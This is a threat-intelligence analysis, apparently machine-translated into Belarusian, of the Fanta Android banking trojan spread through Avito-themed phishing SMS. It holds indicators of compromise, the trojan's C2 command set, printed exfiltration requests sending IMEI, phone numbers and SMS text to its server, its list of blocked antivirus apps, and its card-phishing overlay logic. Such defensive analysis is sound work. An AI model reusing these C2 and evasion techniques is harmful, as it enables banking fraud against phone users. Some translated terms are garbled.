Лейся, Fanta: новая тактыка старэнькага Android-траяна

Лейся, Fanta: новая тактыка старэнькага Android-траяна

Аднойчы вы захочаце прадаць што-небудзь на Avito і, выклаўшы падрабязнае апісанне свайго тавара (напрыклад, модуль аператыўнай памяці), атрымаеце вось такое паведамленне:

Лейся, Fanta: новая тактыка старэнькага Android-траянаАдкрыўшы спасылку, вы ўбачыце з выгляду даволі бяскрыўдную старонку, якая паведамляе вам, шчаслівага і паспяховага прадаўца, аб здзяйсненні пакупкі:

Лейся, Fanta: новая тактыка старэнькага Android-траяна
Пасля таго, як вы націснулі кнопку "Працягнуць", на ваша Android-прылада будзе загружаны APK-файл з абразком і назвай, якія выклікаюць давер. Вы ўстанавілі дадатак, якое чамусьці запытала правы AccessibilityService, потым з'явіліся і хутка зніклі пара вокнаў і… Усё.

Вы заходзіце праверыць свой баланс, але ваша банкаўская дадатак чамусьці зноў запытвае дадзеныя вашай карты. Пасля ўводу дадзеных здараецца страшнае: па нейкім пакуль яшчэ незразумелай для вас прычыне грошы пачынаюць знікаць з вашага рахунку. Вы спрабуеце вырашыць праблему, але ваш тэлефон супраціўляецца: сам націскае на клавішы "Назад" і "Дадому", не выключаецца і не дае актываваць ніякія сродкі абароны. У выніку вы застаяцеся без грошай, ваш тавар не набыты, вы ў замяшанні і задаецца пытаннем: што здарылася?

Адказ просты: вы сталі ахвярай Android-траяна Fanta, сямействы Flexnet. Як жа так выйшла? Цяпер вытлумачальны.

аўтары: Андрэй Палавінкін, малодшы спецыяліст па аналізе шкоднаснага кода, Іван Пісараў, спецыяліст па аналізе шкоднаснага кода.

крыху статыстыкі

Упершыню аб сямействе Android-траянаў Flexnet стала вядома яшчэ ў 2015 годзе. За дастаткова доўгі перыяд актыўнасці сямейства пашырэла да некалькіх падвідаў: Fanta, Limebot, Lipton і г.д. Траян, як і звязаная з ім інфраструктура, не стаяць на месцы: распрацоўваюцца новыя эфектыўныя схемы распаўсюджвання - у нашым выпадку якасныя фішынгавыя старонкі, нацэленыя на канкрэтнага карыстальніка-прадаўца, а распрацоўшчыкі траяна ідуць модным трэндам вірусапісу - дадаюць новыя функцыянальныя магчымасці, якія дазваляюць больш эфектыўна красьці грошы з заражаных прылад і абыходзіць механізмы абароны.

Апісваная ў дадзеным артыкуле кампанія накіравана на карыстальнікаў з Расіі, невялікая колькасць заражаных прылад зафіксавана на Украіне, яшчэ менш - у Казахстане і Беларусі.

Нягледзячы на ​​тое, што Flexnet знаходзіцца на арэне Android-траянаў ужо больш за 4 гады і падрабязна вывучаны многімі даследчыкамі, ён усё яшчэ ў добрай форме. Пачынаючы са студзеня 2019 года патэнцыйная сума ўрону складае больш за 35 мільёнаў рублёў — і гэта толькі па кампаніях у Расіі. У 2015 годзе розныя версіі дадзенага Android-траяна прадаваліся на андэграўндных форумах, там жа можна было знайсці і зыходны код траяна з падрабязным апісаннем. А гэта значыць, што статыстыка ўрону ў свеце яшчэ большая. Нядрэнны паказчык для такога дзядка, ці не так?

Лейся, Fanta: новая тактыка старэнькага Android-траяна

Ад продажу да падману

Як відаць з прадстаўленага раней скрыншота фішынгавай старонкі пад Інтэрнэт-сэрвіс для размяшчэння аб'яў Avito, яна рыхтавалася пад пэўную ахвяру. Мяркуючы па ўсім, зламыснікі выкарыстоўваюць адзін з парсер Avito, які выцягвае тэлефонны нумар і імя прадаўца, а таксама апісанне тавару. Пасля разгортвання старонкі і падрыхтоўкі APK-файла ахвяры адпраўляецца СМС-паведамленне з яго імем і спасылкай на фішынгавую старонку, якая змяшчае апісанне яе тавара і сумы, атрыманай з "продажу" тавара. Націснуўшы на кнопку, карыстач атрымлівае шкоднасны APK-файл - Fanta.

Даследаванне дамена shcet491[.]ru паказала, што ён дэлегаваны на DNS-серверы кампаніі Hostinger:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

Файл зоны дамена змяшчае запісы, якія паказваюць на IP-адрасы 31.220.23[.]236, 31.220.23[.]243 і 31.220.23[.]235. Аднак асноўны рэсурсны запіс дамена (A-запіс) паказвае на сервер з IP-адрасам 178.132.1[.]240.

IP-адрас 178.132.1[.]240 размешчаны ў Нідэрландах і належыць хостэру WorldStream. IP-адрасы 31.220.23[.]235, 31.220.23[.]236 і 31.220.23[.]243 размешчаны ў Вялікабрытаніі і належаць серверу віртуальнага хостынгу HOSTINGER. У якасці рэгістратара выкарыстоўваецца openprov-ru. На IP-адрас 178.132.1[.]240 таксама рэзанвіліся дамены:

  • sdelka-ru[.]ru
  • zboží-av[.]ru
  • av-tovar[.]ru
  • ru-sdelka[.]ru
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru

Варта адзначыць, што амаль з усіх даменаў былі даступныя спасылкі наступнага фармату:

http://(www.){0,1}<%domain%>/[0-9]{7}

Пад дадзены шаблон таксама пападае спасылка з СМС-паведамленні. Па гістарычных дадзеных было выяўлена, што аднаму дамену адпавядае некалькі спасылак па вышэйапісаным шаблоне, што кажа аб выкарыстанні аднаго дамена для распаўсюджвання траяна некалькім ахвярам.

Забяжым крыху наперад: у якасці кіраўніка сервера загружаны па спасылцы з СМС траян выкарыстоўвае адрас onuseseddohap[.]club. Дадзены дамен быў зарэгістраваны 2019/03/12, і пачынаючы з 2019/04/29 адбывалася ўзаемадзеянне APK-прыкладанняў з дадзеным даменам. Абапіраючыся на дадзеныя, атрыманыя з VirusTotal, усяго з дадзеным серверам узаемадзейнічала 109 прыкладанняў. Сам дамен рэзалвіўся на IP-адрас 217.23.14[.]27, размешчаны ў Нідэрландах і які належыць хостэру WorldStream. У якасці рэгістратара выкарыстоўваецца таблічка імёнаў. На дадзены IP-адрас таксама раззалаваліся дамены. bad-racoon[.]club (пачынаючы з 2018-09-25) і bad-racoon[.]live (пачынаючы з 2018-10-25). З даменам bad-racoon[.]club ўзаемадзейнічала больш за 80 APK-файлаў, з bad-racoon[.]live - Больш за 100.

У цэлым, ход нападу выглядае наступным чынам:

Лейся, Fanta: новая тактыка старэнькага Android-траяна

Што ў Fanta пад вечкам?

Як і многія іншыя андроіда-траяны, Fanta здольная чытаць і адпраўляць СМС-паведамленні, здзяйсняць USSD-запыты, дэманстраваць уласныя вокны па-над прыкладаннямі (у тым ліку банкаўскіх). Аднак у арсенале функцыянальных магчымасцяў дадзенага сямейства прыбыло: Fanta пачала выкарыстоўваць AccessibilityService для розных мэт: чытанне змесціва апавяшчэнняў іншых прыкладанняў, прадухіленне выяўлення і прыпынкі выканання траяна на заражанай прыладзе і г.д. Fanta працуе на ўсіх версіях Android не маладзей 4.4. У дадзеным артыкуле мы падрабязней разгледзім наступны Fanta-сэмпл:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

Адразу пасля запуску

Непасрэдна пасля запуску траян хавае свой абразок. Праца прыкладання магчыма толькі ў тым выпадку, калі імя заражанай прылады не знаходзіцца ў спісе:

  • android_x86
  • VirtualBox
  • Nexus 5X(bullhead)
  • Nexus 5(razor)

Дадзеная праверка вырабляецца ў галоўным сэрвісе траяна. MainService. Пры першым запуску адбываецца ініцыялізацыя канфігурацыйных параметраў прыкладання значэннямі па змаўчанні (аб фармаце захоўвання канфігурацыйных дадзеных і іх значэнні будзе расказана пазней), а таксама рэгістрацыя новай заражанай прылады на кіравальным серверы. На сервер будзе адпраўлены HTTP POST-запыт з тыпам паведамлення register_bot і інфармацыяй аб заражанай прыладзе (версія Android, IMEI, нумар тэлефона, імя аператара і код краіны, у якой зарэгістраваны аператар). У якасці кіраўніка сервера выступае адрас hXXp://onuseseddohap[.]club/controller.php. У адказ сервер адпраўляе паведамленне, у якім змяшчаюцца палі bot_id, bot_pwd, сервер - Гэтыя значэнні дадатак захоўвае ў якасці параметраў CnC-сервера. Параметр сервер неабавязковы, калі поле не было атрымана: Fanta выкарыстоўвае адрас рэгістрацыі hXXp://onuseseddohap[.]club/controller.php. Функцыя змены CnC-адрасы можа быць ужытая для рашэння дзвюх задач: раўнамернага размеркавання нагрузкі паміж некалькімі серверамі (пры вялікай колькасці заражаных прылад нагрузка на неаптымізаваны вэб-сервер можа быць высокай), а таксама для выкарыстання альтэрнатыўнага сервера ў выпадку адмовы аднаго з CnC-сервераў .

Калі падчас адпраўлення запыту ўзнікла памылка, траян паўторыць працэс рэгістрацыі праз 20 секунд.

Пасля паспяховай рэгістрацыі прылады Fanta выведзе карыстачу наступнае паведамленне:

Лейся, Fanta: новая тактыка старэнькага Android-траяна
Важная заўвага: сэрвіс пад назвай бяспеку сістэмы - найменне сэрвісу траяна, і пасля націску на кнопку ОК будзе адкрыта акно з наладамі Accessibility заражанай прылады, дзе карыстач павінен сам выдаць Accessibility-правы для шкоднаснага сэрвісу:

Лейся, Fanta: новая тактыка старэнькага Android-траяна
Як толькі карыстальнік уключае AccessibilityService, Fanta атрымлівае доступ да змесціва вокнаў прыкладанняў і дзеянняў, якія вырабляюцца ў іх:

Лейся, Fanta: новая тактыка старэнькага Android-траяна
Адразу пасля атрымання Accessibility-праваў траян запытвае правы адміністратара і правы на чытанне апавяшчэнняў:

Лейся, Fanta: новая тактыка старэнькага Android-траяна
Пры дапамозе AccessibilityService прыкладанне імітуе націскі клавіш, тым самым выдаючы сабе ўсе неабходныя правы.

Fanta стварае некалькі асобнікаў баз дадзеных (якія будуць апісаны пазней), неабходных для захавання канфігурацыйных дадзеных, а таксама сабранай падчас інфармацыі аб заражанай прыладзе. Для адпраўлення сабранай інфармацыі траян стварае паўтаральную задачу, прызначаную для выгрузкі палёў з базы дадзеных і атрыманні каманды ад кіраўніка сервера. Інтэрвал звароту да CnC усталёўваецца ў залежнасці ад версіі Android: у выпадку 5.1/10 інтэрвал складзе 60 секунд, інакш XNUMX секунд.

Для атрымання каманды Fanta ажыццяўляе запыт GetTask на кіруючы сервер. У адказ CnC можа адправіць адну з наступных каманд:

Каманда Апісанне
0 Адправіць СМС-паведамленне
1 Выканаць тэлефонны званок ці USSD-каманду
2 Абнаўляе параметр інтэрвал
3 Абнаўляе параметр перахоп
6 Абнаўляе параметр smsManager
9 Пачаць збор СМС-паведамленняў
11 Скінуць тэлефон да завадскіх налад
12 Уключэнне/Выключэнне лагавання стварэння дыялогавых вокнаў

Fanta таксама збірае апавяшчэння ад 70 прыкладанняў банкаў, сістэм хуткіх плацяжоў і электронных кашалькоў і захоўвае іх у базу дадзеных.

Захоўванне канфігурацыйных параметраў

Для захоўвання канфігурацыйных параметраў Fanta выкарыстоўвае стандартны падыход для платформы Android. Перавагі-файлы. Налады будуць захаваны ў файл з імем налады. Апісанне параметраў, якія захоўваюцца, знаходзіцца ў табліцы ніжэй.

Імя Значэнне па змаўчанні Магчымыя значэнні Апісанне
id 0 Цэлы лік Ідэнтыфікатар бота
сервер hXXp://onuseseddohap[.]club/ URL Адрас кіруючага сервера
Pwd - Радок Пароль для сервера
інтэрвал 20 Цэлы лік Часавы інтэрвал. Паказвае, на колькі трэба адкласці выкананне наступных задач:

  • Пры адпраўцы запыту аб статусе дасланага СМС-паведамлення
  • Атрыманне новай каманды ад кіруючага сервера

перахоп усё all/telNumber Калі поле роўна радку усё або telNumber, тады атрыманае СМС-паведамленне будзе перахоплена дадаткам і не паказана карыстальніку
smsManager 0 0/1 Уключэнне/выключэнне дадатку ў якасці атрымальніка СМС па змаўчанні
readDialog ілжывы Праўда/хлусня Уключэнне/Выключэнне лагавання падзей AccessibilityEvent

Таксама Fanta выкарыстоўвае файл smsManager:

Імя Значэнне па змаўчанні Магчымыя значэнні Апісанне
pckg - Радок Імя выкарыстоўванага мэнэджэра СМС-паведамленняў

Узаемадзеянне з базамі даных

У працэсе сваёй працы траян выкарыстоўвае дзве базы даных. База даных з імем a выкарыстоўваецца для захоўвання рознай інфармацыі, сабранай з тэлефона. Другая база даных носіць імя fanta.db і выкарыстоўваецца для захавання налад, якія адказваюць за стварэнне фішынгавых вокнаў, прызначаных для збору інфармацыі аб банкаўскіх картах.

Траян выкарыстоўвае базу дадзеных а для захоўвання збіранай інфармацыі і лагіравання сваіх дзеянняў. Дадзеныя захоўваюцца ў табліцы Часопісы. Для стварэння табліцы выкарыстоўваецца наступны SQL-запыт:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

У базе даных змяшчаецца наступная інфармацыя:

1. Лагаванне ўключэння заражанай прылады паведамленнем Тэлефон уключыўся!

2. Апавяшчэнні ад прыкладанняў. Паведамленне фарміруецца па наступным шаблоне:

(<%App Name%>)<%Title%>: <%Notification text%>

3. Дадзеныя банкаўскіх карт з ствараных траянам фішынгавых формаў. Параметр VIEW_NAME можа быць адным са спісу:

  • AliExpress
  • Avito
  • Google Play
  • Рознае <%App Name%>

Паведамленне лагіруецца ў фармаце:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. Уваходныя/выходныя СМС-паведамленні ў фармаце:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. Інфармацыя аб пакеце, які стварае дыялогавае акно ў фармаце:

(<%Package name%>)<%Package information%>

Прыклад табліцы Часопісы:

Лейся, Fanta: новая тактыка старэнькага Android-траяна
Адной з функцыянальных магчымасцяў Fanta з'яўляецца збор інфармацыі аб банкаўскіх картах. Збор даных адбываецца за кошт стварэння фішынгавых вокнаў пры адкрыцці банкаўскіх дадаткаў. Траян стварае фішынгавае акно толькі адзін раз. Інфармацыя аб тым, што акно было паказана карыстачу, захоўваецца ў табліцы налады у базе дадзеных fanta.db. Для стварэння базы дадзеных выкарыстоўваецца наступны SQL-запыт:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

Усе палі табліцы налады па змаўчанні ініцыялізуюцца значэннем 1 (стварыць фішынгавае акно). Пасля таго, як карыстач увядзе свае дадзеныя, значэнне будзе ўсталявана ў 0. Прыклад палёў табліцы налады:

  • can_login - поле адказвае за паказ формы пры адкрыцці банкаўскага прыкладання
  • first_bank - не выкарыстоўваецца
  • can_avito - поле адказвае за паказ формы пры адкрыцці прыкладання Avito
  • can_ali - поле адказвае за паказ формы пры адкрыцці прыкладання Aliexpress
  • can_another - поле адказвае за паказ формы пры адкрыцці любога прыкладання са спісу: Юла, Pandao, Дром Аўта, Кашалёк. Зніжкавы і бонусныя карты, Aviasales, Booking, Trivago
  • can_card - поле адказвае за паказ формы пры адкрыцці Google Play

Узаемадзеянне з кіруючым серверам

Сеткавае ўзаемадзеянне з кіруючым серверам адбываецца па пратаколе HTTP. Для працы з сеткай Fanta выкарыстоўвае папулярную бібліятэку Retrofit. Запыты адпраўляюцца на адрас hXXp://onuseseddohap[.]club/controller.php. Адрас сервера можа быць зменены падчас рэгістрацыі на серверы. У адказ ад сервера могуць прыйсці кукі. Fanta выконвае наступныя запыты на сервер:

  • Рэгістрацыя робата на кіруючым серверы адбываецца адзін раз пры першым запуску. На сервер адпраўляюцца наступныя дадзеныя аб заражанай прыладзе:
    · Печыва - атрыманыя cookie ад сервера (значэнне па змаўчанні - пусты радок)
    · рэжым - Радковая канстанта register_bot
    · прэфікс - цэлалікая канстанта 2
    · version_sdk - Фарміруецца па наступным шаблоне: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
    · IMEI - IMEI заражанага прылады
    · краіна - код краіны, у якой зарэгістраваны аператар, у фармаце ISO
    · нумар - нумар тэлефона
    · аператар - імя аператара

    Прыклад запыту, які адпраўляецца на сервер:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    У адказ на запыт сервер павінен вярнуць JSON-аб'ект, які змяшчае наступныя параметры:
    · bot_id - Ідэнтыфікатар заражанай прылады. У выпадку, калі bot_id будзе роўны 0, Fanta паўторна выканае запыт.
    · bot_pwd - пароль для сервера.
    · server - адрас кіраўніка сервера. Неабавязковы параметр. У выпадку, калі параметр не пазначаны, будзе выкарыстаны адрас, захаваны ў дадатку.

    Прыклад JSON-аб'екта:

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • Запыт на атрыманне каманды ад сервера. На сервер адпраўляюцца наступныя дадзеныя:
    · Печыва - атрыманыя cookie ад сервера
    · bid - id заражанай прылады, якое было атрымана пры адпраўцы запыту register_bot
    · Pwd -пароль для сервера
    · divice_admin - поле вызначае, ці былі атрыманы правы адміністратара. Калі правы адміністратара былі атрыманы, поле роўна 1, інакш 0
    · Даступнасць - Статус працы Accessibility Service. Калі служба была запушчана, значэнне роўна 1, інакш 0
    · SMSManager - паказвае, ці ўключаны траян як дадатак па змаўчанні для атрымання СМС
    · экран - Адлюстроўвае, у якім стане знаходзіцца экран. Будзе ўстаноўлена значэнне 1, калі экран уключаны, інакш 0;

    Прыклад запыту, які адпраўляецца на сервер:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    У залежнасці ад каманды сервер можа вярнуць JSON-аб'ект з рознымі параметрамі:

    · Каманда Адправіць СМС-паведамленне: У параметрах змяшчаецца нумар тэлефона, тэкст СМС-паведамлення і ідэнтыфікатар адпраўляемага паведамлення. Ідэнтыфікатар выкарыстоўваецца пры адпраўцы паведамлення на сервер з тыпам setSmsStatus.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    · Каманда Выканаць тэлефонны званок ці USSD-каманду: Нумар тэлефона ці каманда прыходзіць у целе адказу.

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    · Каманда Змяніць параметр interval.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": <%SECONDS%>
       	 }
        ],
        "status":"ok"
    }

    · Каманда Змяніць параметр intercept.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
       	 }
        ],
        "status":"ok"
    }

    · Каманда Змяніць поле SmsManager.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    · Каманда Выканаць збор СМС-паведамленняў з заражанай прылады.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    · Каманда Скінуць тэлефон да завадскіх налад:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    · Каманда Змяніць параметр ReadDialog.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • Адпраўка паведамлення з тыпам setSmsStatus. Дадзены запыт ажыццяўляецца пасля выканання каманды Адправіць СМС-паведамленне. Запыт выглядае наступным чынам:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

  • Адпраўка змесціва базы дадзеных. За адзін запыт перадаецца адзін радок. На сервер адпраўляюцца наступныя дадзеныя:
    · Печыва - атрыманыя cookie ад сервера
    · рэжым - Радковая канстанта setSaveInboxSms
    · bid - id заражанай прылады, якое было атрымана пры адпраўцы запыту register_bot
    · тэкст - Тэкст у бягучым запісе БД (поле d з табліцы Часопісы у базе дадзеных а)
    · нумар - найменне бягучага запісу БД (поле p з табліцы Часопісы у базе дадзеных а)
    · sms_mode - цэлалікае значэнне (поле m з табліцы Часопісы у базе дадзеных а)

    Запыт выглядае наступным чынам:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

    Пры паспяховай адпраўцы на сервер радок будзе выдалены з табліцы. Прыклад JSON-аб'екта, які вяртаецца серверам:

    {
        "response":[],
        "status":"ok"
    }

Узаемадзеянне з AccessibilityService

AccessibilityService быў рэалізаваны для палягчэння выкарыстання Android-прылад людзьмі з абмежаванымі магчымасцямі. У большасці выпадкаў для ўзаемадзеяння з дадаткам неабходна фізічнае ўзаемадзеянне. AccessibilityService дазваляе зрабіць іх праграмна. Fanta выкарыстоўвае сэрвіс для стварэння падробленых вокнаў у банкаўскіх дадатках і перашкоды адкрыццю налад сістэмы і некаторых прыкладанняў.

Выкарыстоўваючы функцыянальныя магчымасці AccessibilityService, траян адсочвае змены элементаў на экране заражанай прылады. Як ужо было раней апісана, у наладах Fanta змяшчаецца параметр, які адказвае за лагіраванне аперацый з дыялогавымі вокнамі. readDialog. Калі дадзены параметр усталяваны, у базу дадзеных будзе дададзена інфармацыя пра назву і апісанне пакета, які ініцыяваў падзею. Траян выконвае наступныя дзеянні пры спрацоўванні падзей:

  • Імітуе націск клавіш назад і дадому ў выпадку:
    · калі карыстальнік хоча перазагрузіць сваю прыладу
    · калі карыстальнік хоча выдаліць дадатак "Avito" або змяніць правы доступу
    · калі на старонцы ёсць згадка аб дадатку "Avito"
    · пры адкрыцці прыкладання "Google Play Абарона"
    · пры адкрыцці старонак з настройкамі AccessibilityService
    · пры ўзнікненні дыялогавага акна "Бяспека сістэмы"
    · пры адкрыцці старонкі з настройкамі "Draw over other app"
    · пры адкрыцці старонкі "Дадаткі", "Аднаўленне і скід", "Скід дадзеных", "Скід налад", "Панэль распрацоўшчыкаў", "Спец. магчымасці”, “Спецыяльныя магчымасці”, “Асобыя правы”
    · калі падзея была згенеравана пэўнымі праграмамі.

    Спіс прыкладанняў

    • мужчынскі
    • Master Lite
    • Clean Master
    • Clean Master for x86 CPU
    • Meizu Applicatiom Permission Management
    • Бяспека MIUI
    • Clean Master - Антывірус & Ачыстка кэша і смецця
    • Бацькоўскі кантроль і GPS: Kaspersky SafeKids
    • Kaspersky Antivirus AppLock & Web Security Beta
    • Virus Cleaner, Antivirus, Cleaner (MAX Security)
    • Mobile AntiVirus Security PRO
    • Avast антывірус & бясплатная абарона 2019
    • Mobile Security Мегафон
    • AVG Protection для Xperia
    • Мабільная Бяспека
    • Malwarebytes антывірус & абарона
    • Антывірус на андроіда 2019
    • Security Master - Antivirus, VPN, AppLock, Booster
    • AVG антывірус для планшэта Huawei System Manager
    • Спецыяльныя магчымасці Samsung
    • Samsung Smart Manager
    • Майстар бяспекі
    • Speed ​​Booster
    • Dr.Web
    • Dr.Web Security Space
    • Dr.Web Mobile Control Center
    • Dr.Web Security Space Life
    • Dr.Web Mobile Control Center
    • Антывірус і мабільная бяспека
    • Kaspersky Internet Security: Антывірус і Абарона
    • Kaspersky Battery Life: Saver & Booster
    • Kaspersky Endpoint Security - абарона і кіраванне
    • AVG Антывірус бясплатна 2019 – Абарона для андроіда
    • Антывірусная сістэма Android
    • Norton Mobile Security and Antivirus
    • Антывірус, брандмаўэр, VPN, мабільная бяспека
    • Mobile Security: антывірус, VPN, абарона ад крадзяжу
    • Антывірус для андроіда

  • Калі пры адпраўцы СМС-паведамлення на кароткі нумар запытваецца дазвол, Fanta імітуе націск на checkbox Запомніць выбар і кнопку адправіць.
  • Пры спробе адабраць у траяна правы адміністратара блакуе экран тэлефона.
  • Перашкаджае даданню новых адміністратараў.
  • У выпадку, калі антывіруснае прыкладанне dr.web выявіла пагрозу, Fanta імітуе націск на кнопку ігнараваць.
  • Траян імітуе націск на кнопку назад і дадому, калі падзея была згенеравана дадаткам Samsung Device Care.
  • Fanta стварае фішынгавыя вокны з формамі для ўводу інфармацыі аб банкаўскіх картах, калі было запушчана дадатак са спісу, які ўключае каля 30 розных Інтэрнэт-сэрвісаў. Сярод іх: AliExpress, Booking, Avito, Кампанент Google Play Market, Pandao, Дром Аўта і інш.

    Фішынгавыя формы

    Fanta аналізуе, якія прыкладанні запускаюцца на заражанай прыладзе. Калі было адкрыта цікавае прыкладанне, траян дэманструе фішынгавае акно-над усіх астатніх, якое ўяўляе сабой форму для ўводу інфармацыі аб банкаўскай карце. Карыстальніку неабходна ўвесці наступныя дадзеныя:

    • нумар карты
    • Тэрмін дзеяння карты
    • CVV
    • Імя трымальніка карты (не для ўсіх банкаў)

    У залежнасці ад запушчанага прыкладання будуць прадэманстраваны розныя фішынгавыя вокны. Далей будуць прадстаўлены прыклады некаторых з іх:

    AliExpress:

    Лейся, Fanta: новая тактыка старэнькага Android-траяна
    Аўто:

    Лейся, Fanta: новая тактыка старэнькага Android-траяна
    Для некаторых іншых прыкладанняў, напрыклад Google Play Market, Aviasales, Pandao, Booking, Trivago:
    Лейся, Fanta: новая тактыка старэнькага Android-траяна

    Як усё было на самой справе

    На шчасце, чалавек, які атрымаў апісанае ў пачатку артыкула СМС-паведамленне, аказаўся спецыялістам у галіне кібербяспекі. Таму рэальная, не рэжысёрская, версія адрозніваецца ад расказанай раней: чалавек атрымаў цікавае СМС, пасля чаго аддаў яго камандзе Group-IB Threat Hunting Intelligence. Вынік атакі - дадзены артыкул. Шчаслівая канцоўка, ці не так? Аднак, далёка не ўсе гісторыі заканчваюцца так удала, і, каб ваша не была падобная на рэжысёрскую версію са стратай грошай, у большасці выпадкаў дастаткова прытрымлівацца наступных, даўно апісаных правіл:

    • не ўсталёўваць прыкладанні для мабільнага прылады з АС Android з якіх-небудзь крыніц, акрамя Google Play
    • пры ўстаноўцы прыкладання звяртаць асаблівую ўвагу на запытаныя дадаткам правы
    • зважаць на пашырэнні загружаных файлаў
    • рэгулярна ўсталёўваць абнаўленні АС Android
    • не наведваць падазроныя рэсурсы і не спампоўваць адтуль файлы
    • не пераходзіць па спасылках, атрыманых у СМС-паведамленнях.

Крыніца: habr.com

Дадаць каментар